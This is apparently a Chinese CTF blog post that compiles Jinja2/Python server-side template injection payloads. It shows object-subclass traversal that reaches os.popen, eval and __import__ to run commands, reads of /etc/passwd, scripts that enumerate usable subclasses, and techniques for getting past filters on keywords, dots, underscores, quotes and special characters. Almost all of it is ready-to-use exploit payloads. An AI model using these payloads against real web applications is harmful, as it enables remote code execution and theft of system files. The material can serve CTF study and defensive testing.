ctf相关|SSTI-payload和各种绕过方法

总结SSTI题目的流程(以python3为例) 类的下标会因为python版本的不同(python2,python3)而不同
1.找到object类,通过__mro__或__bases__来找

//针对不同的网站需要对索引进行修改,直到返回的类为object ''.__class__.__mro__[1] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[11]

如下:
ctf相关|SSTI-payload和各种绕过方法
文章图片

2.查看object类的子类,通过.__subclasses__() 在不同题目中的子类不同,有一些会被禁掉,通过下面这些payload查看哪些可以用的
''.__class__.__mro__[1].__subclasses__() {}.__class__.__bases__[0].__subclasses__() ().__class__.__bases__[0].__subclasses__() [].__class__.__bases__[0].__subclasses__()

3.通过子类找能利用的函数 1.文件读取第91个
''.__class__.__mro__[1].__subclasses__()[91].get_data(0,'文件路径')

2.文件读写第40个(如果有的话)
#读 ''.__class__.__mro__[1].__subclasses__()[40]('文件路径').read() #写 ''.__class__.__mro__[1].__subclasses__()[40]('文件路径','写的方式').write()

3.命令执行
直接利用os.popen
object下的第71个类
{{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}

如果没有上面这个类就得麻烦一点,需要通过__import__ 或者 __builtins__来实现命令执行
做法: 找到能够能够实现 .__init__.__globals__的类,并且进一步找模块: __import__ 或者 __builtins__
python代码如下:
num = 0 str1='' select=input("请选择查找的方法:1.__builtins__; 2.__import__; ")if select=='1' : str1="__builtins__" if select=='2' : str1="__import__"for item in ''.__class__.__mro__[1].__subclasses__(): try: if str1 in item.__init__.__globals__: print(num,item) num+=1 except: num+=1

或者用这个,一步到位找eval
count = -1 # for i in ''.class.mro[-1].subclasses(): for i in ''.__class__.__mro__[-1].__subclasses__(): count += 1 if "warpper" in repr(i.__init__): pass else: try: if "eval" in repr(i.__init__.__globals__['__builtins__']): print(count, i) except: pass

举个例子具有__builtins__的类
ctf相关|SSTI-payload和各种绕过方法
文章图片

【ctf相关|SSTI-payload和各种绕过方法】具有builtins的话:利用eval
{{''.__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}

利用command(有些题目可能会提示没有command包,那就用不了)
{{{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')}}

{{{}.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__import__']('os').system('whoami')}}

{{''.__class__.__mro__[1].__subclasses__()[71].__init__.__globals__['os'].popen('whoami').read()}}

具有import方法
ctf相关|SSTI-payload和各种绕过方法
文章图片

payload如下:
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

其他
Jinja2创建的url_for()方法
{{url_for.__globals__.os.popen("whoami").read()}}

通过config,调用os
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

下面的这几个不一定行
{{''.__class__.__base__.__subclasses__()[169].__init__.__globals__['sys'].modules['os'].popen("whoami").read()}}// os._wrap_close类中的popen {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}// __builtins__ {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}

对命令执行进行总结:
1.找到object类
2.调用相关函数:
命令执行:os.system() , os.popen().read(),eval()
怎么找? 1.通过python脚本去找
2.如果某个类没有os,却有import,可以通过import导入os的包后通过os进行命令执行
3.类的位置会因为python的版本不同而不同,只需要去官网查一下,或者自己一步一步找即可
至于怎么看服务器python的版本?->bp抓包,直接看返回包即可
各种绕过方式(欢迎补充) 方法1关键词被禁 通过拼接字符串
.__class__ -> ["__c""lass__"]

点被禁了
1.通过 [] 来替代点
.__class__ -> [__class__]

2.通过|attr()替换
.__class__ -> |attr("__class__") 如 request.__class__ -> request|attr("__class__")

方法2过滤了_通过传递参数绕过
Get方式传参的
{{''.__class__}} => {{''[request.args.t1]}}?t1=__class__

Post方式传参(分两步)
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}

利用hackbar在这个页面传一个Post数据包
class=__class__&mro=__mro__&subclasses=__subclasses__

方法3过滤引号 也是通过传参实现绕过
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd

方法4特殊字符绕过 符号大全-特殊符号-特殊符号大全 (fhdq.net)
直接在这上面ctrl+f搜等价替换的符号,然后利用python脚本进行替换
""" { -> ︷/﹛ } -> ︸/﹜ ' -> ' , -> , " -> " """ str='{{\'\'.__class__}}' #原字符串 #如果需要替换replace(被替换的字符,替换后的字符) str=str.replace('{','︷') str=str.replace('}','︸') str=str.replace('\'',''') str=str.replace('\"','"')print(str)

方法5编码绕过
[].__class__->[].__getattribute__('X19jbGFzc19f'.decode('base64'))


    推荐阅读